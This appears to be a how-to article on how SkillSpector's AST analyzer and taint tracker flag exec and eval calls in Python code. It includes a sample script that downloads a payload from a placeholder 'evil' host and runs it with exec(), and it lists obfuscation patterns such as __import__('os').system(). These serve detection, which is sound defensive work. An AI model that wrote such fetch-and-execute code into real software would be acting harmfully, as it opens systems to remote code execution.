# How AST-Based Behavioral Analysis Detects Exec and Eval Calls in SkillSpector

> Discover how SkillSpector's AST behavioral analysis pinpoints exec and eval calls using taint tracking to secure your code. Learn about safe Python execution now.

- Repository: [NVIDIA Corporation/SkillSpector](https://github.com/NVIDIA/SkillSpector)
- Tags: how-to-guide
- Published: 2026-06-15

---

**SkillSpector uses an AST-based behavioral analyzer that traverses Python's abstract syntax tree to identify direct and indirect calls to `exec()` and `eval()`, employing taint tracking to flag when untrusted data flows into these dangerous execution sinks.**

NVIDIA's SkillSpector employs sophisticated AST-based behavioral analysis to identify dynamic code execution vulnerabilities in Python source files. By parsing abstract syntax trees and tracking tainted data flows from external sources, the analyzer detects both obvious and obfuscated uses of `exec` and `eval` that could enable code injection attacks.

## The Detection Pipeline: From Parsing to Risk Scoring

SkillSpector's behavioral analysis operates through a six-stage pipeline implemented across specialized analyzer nodes. The system processes each source file methodically to surface dynamic execution threats.

### Source Parsing and Tree Traversal

The analysis begins in [`src/skillspector/nodes/analyzers/behavioral_ast.py`](https://github.com/NVIDIA/SkillSpector/blob/main/src/skillspector/nodes/analyzers/behavioral_ast.py), where the `BehavioralASTAnalyzer` invokes Python's built-in `ast.parse()` to generate an abstract syntax tree. A custom `BehavioralASTVisitor` class then traverses every node, specifically targeting `ast.Call` nodes that represent function invocations.

This visitor pattern enables deep inspection of call chains while maintaining context about the surrounding code structure.

### Direct Execution Sink Identification

The most straightforward detection occurs when the analyzer encounters unambiguous calls to dynamic execution functions. The visitor checks each call node using the precise logic:

```python
if isinstance(node.func, ast.Name) and node.func.id in {"exec", "eval"}:
    self._add_finding(severity="CRITICAL", ...)

```

When this pattern matches, SkillSpector immediately records a **CRITICAL** severity finding, as the code explicitly invokes dangerous execution primitives.

### Indirect Chain Detection via Taint Tracking

Modern malicious payloads rarely use direct `exec` calls. Instead, they rely on indirect execution chains that the analyzer detects through integration with [`src/skillspector/nodes/analyzers/behavioral_taint_tracking.py`](https://github.com/NVIDIA/SkillSpector/blob/main/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py).

The taint-tracking system marks values originating from untrusted sources—including network I/O, file reads, and environment variables—as *tainted*. When the AST analyzer discovers that a tainted value reaches an execution sink, it emits a **HIGH** severity finding, indicating a likely code injection vector.

### Helper Construct Pattern Matching

Attackers frequently obfuscate execution through helper functions and attribute chains. The `BehavioralASTVisitor` contains specialized detection methods to uncover these patterns:

- **`_is_compile_call(node)`**: Detects when `exec` or `eval` receives input from a `compile()` call, indicating pre-processed malicious bytecode
- **`_is_urlopen_chain(node)`**: Recognizes chained attribute accesses ending in `read()` on network objects like `urllib.request.urlopen()`
- **`_is_import_system_call(node)`**: Identifies dynamic import patterns such as `__import__("os").system()` that eventually lead to execution sinks

These helpers examine the AST shape to detect constructs like `exec(open(...).read())` or `exec(urllib.request.urlopen(...).read())`.

## Core Implementation: The BehavioralASTVisitor Class

The detection logic resides within the `BehavioralASTVisitor` class defined in [`behavioral_ast.py`](https://github.com/NVIDIA/SkillSpector/blob/main/behavioral_ast.py). This visitor extends Python's standard `ast.NodeVisitor` to implement security-specific traversal rules.

When the visitor encounters a potential execution sink, it consults the taint-tracking analyzer to determine if the arguments originate from external sources. This cross-analyzer communication enables the system to distinguish between hardcoded safe strings (which might still be bad practice) and truly dangerous dynamic execution scenarios.

The analyzer creates a `Finding` object for each detection, populated with metadata including file location, line number, and severity level. These findings propagate to the report node for final scoring.

## Taint Propagation and Untrusted Data Flows

The [`behavioral_taint_tracking.py`](https://github.com/NVIDIA/SkillSpector/blob/main/behavioral_taint_tracking.py) module implements the data flow analysis that powers indirect detection. It tracks variables assigned from high-risk sources:

- `requests.get()` or `urllib.request.urlopen()` return values
- `open()` file handles and `.read()` operations
- `os.getenv()` environment variable access
- User input from `input()` or command-line arguments

When tainted data flows into `exec()`, `eval()`, or their obfuscated variants, the AST analyzer flags the execution point. The unit tests in [`tests/nodes/analyzers/test_behavioral_taint_tracking.py`](https://github.com/NVIDIA/SkillSpector/blob/main/tests/nodes/analyzers/test_behavioral_taint_tracking.py) verify that these flows are correctly identified across complex control flows.

## Practical Detection Examples

### Example 1: Direct Execution Detection

Consider a simple script containing an explicit `exec` call:

```python

# demo_script.py

code = "print('Hello')"
exec(code)

```

Analyzing this file produces immediate results:

```python
from skillspector.graph import SkillGraph
from skillspector.nodes.analyzers.behavioral_ast import BehavioralASTAnalyzer

graph = SkillGraph()
analyzer = BehavioralASTAnalyzer()
findings = analyzer.analyze_path("demo_script.py", language="python")
print(findings)

```

The output identifies the critical vulnerability:

```json
[
  {
    "type": "behavioral_ast",
    "severity": "CRITICAL",
    "message": "Direct call to exec() with potentially tainted source",
    "location": {"file": "demo_script.py", "line": 2}
  }
]

```

### Example 2: Indirect Network-Based Execution

The analyzer excels at detecting obfuscated execution chains:

```python

# remote_exec.py

import urllib.request
payload = urllib.request.urlopen("http://evil/payload").read()
exec(payload)

```

This pattern triggers a **HIGH** severity finding because the taint tracker identifies that `payload` originates from an external network request before flowing into `exec`.

### Example 3: Command-Line Analysis

SkillSpector exposes this functionality through the `spector` CLI:

```bash
spector analyze -p remote_exec.py -l python

```

The tool outputs structured findings:

```

[⚠️] Behavioral AST – HIGH – exec() receives data from urllib.request.urlopen
File: remote_exec.py:4

```

## Integration with Risk Scoring

Findings from the AST-based behavioral analysis flow into [`src/skillspector/nodes/report.py`](https://github.com/NVIDIA/SkillSpector/blob/main/src/skillspector/nodes/report.py), which applies the **"Executable scripts"** risk multiplier to the final score. This multiplier elevates the risk profile of any skill containing dynamic execution capabilities, ensuring that even indirect or obfuscated execution paths contribute significantly to the overall security assessment.

The test suite in [`tests/nodes/analyzers/test_behavioral_ast.py`](https://github.com/NVIDIA/SkillSpector/blob/main/tests/nodes/analyzers/test_behavioral_ast.py) documents expected behaviors for various execution patterns, providing regression protection for the detection logic.

## Summary

- **AST-based behavioral analysis** in SkillSpector traverses Python syntax trees using the `BehavioralASTVisitor` class to locate dangerous execution patterns.
- Direct calls to `exec` or `eval` trigger **CRITICAL** severity findings through explicit name matching in [`behavioral_ast.py`](https://github.com/NVIDIA/SkillSpector/blob/main/behavioral_ast.py).
- Indirect execution chains are detected via taint tracking in [`behavioral_taint_tracking.py`](https://github.com/NVIDIA/SkillSpector/blob/main/behavioral_taint_tracking.py), which monitors data flows from network, file, and environment sources.
- Helper methods like `_is_compile_call()`, `_is_urlopen_chain()`, and `_is_import_system_call()` uncover obfuscated attack vectors.
- Findings integrate with the Report node to apply the "Executable scripts" risk multiplier, elevating the security risk of dynamically executing code.

## Frequently Asked Questions

### What is the difference between CRITICAL and HIGH severity findings in SkillSpector's AST analysis?

**CRITICAL** findings indicate direct calls to `exec()` or `eval()` where the function name is explicitly invoked, representing immediate dynamic execution capabilities. **HIGH** severity findings indicate indirect execution where the code receives potentially tainted data from external sources (network, files, environment variables) before reaching an execution sink, suggesting a probable code injection vulnerability.

### How does SkillSpector track tainted data from network sources to execution sinks?

The [`behavioral_taint_tracking.py`](https://github.com/NVIDIA/SkillSpector/blob/main/behavioral_taint_tracking.py) analyzer marks return values from high-risk functions like `urllib.request.urlopen()`, `requests.get()`, and `os.getenv()` as tainted. As the AST visitor traverses the tree, it queries this taint status when encountering execution sinks. If a tainted value reaches `exec` or `eval`, the system records a finding with elevated severity.

### Can SkillSpector detect obfuscated exec calls using compile() or __import__()?

Yes. The `BehavioralASTVisitor` includes specific detection methods: `_is_compile_call()` identifies when `exec` receives pre-compiled code objects, while `_is_import_system_call()` recognizes dynamic import patterns like `__import__("os").system()`. These patterns trigger findings even when the execution is masked through multiple layers of abstraction.

### How does the behavioral AST analyzer integrate with the final risk score?

Findings generated by the AST analyzer propagate to [`src/skillspector/nodes/report.py`](https://github.com/NVIDIA/SkillSpector/blob/main/src/skillspector/nodes/report.py), which applies the **"Executable scripts"** multiplier to the skill's risk calculation. This multiplier significantly increases the overall risk score for any skill containing dynamic execution capabilities, ensuring that both direct and indirect execution paths are reflected in the final security assessment.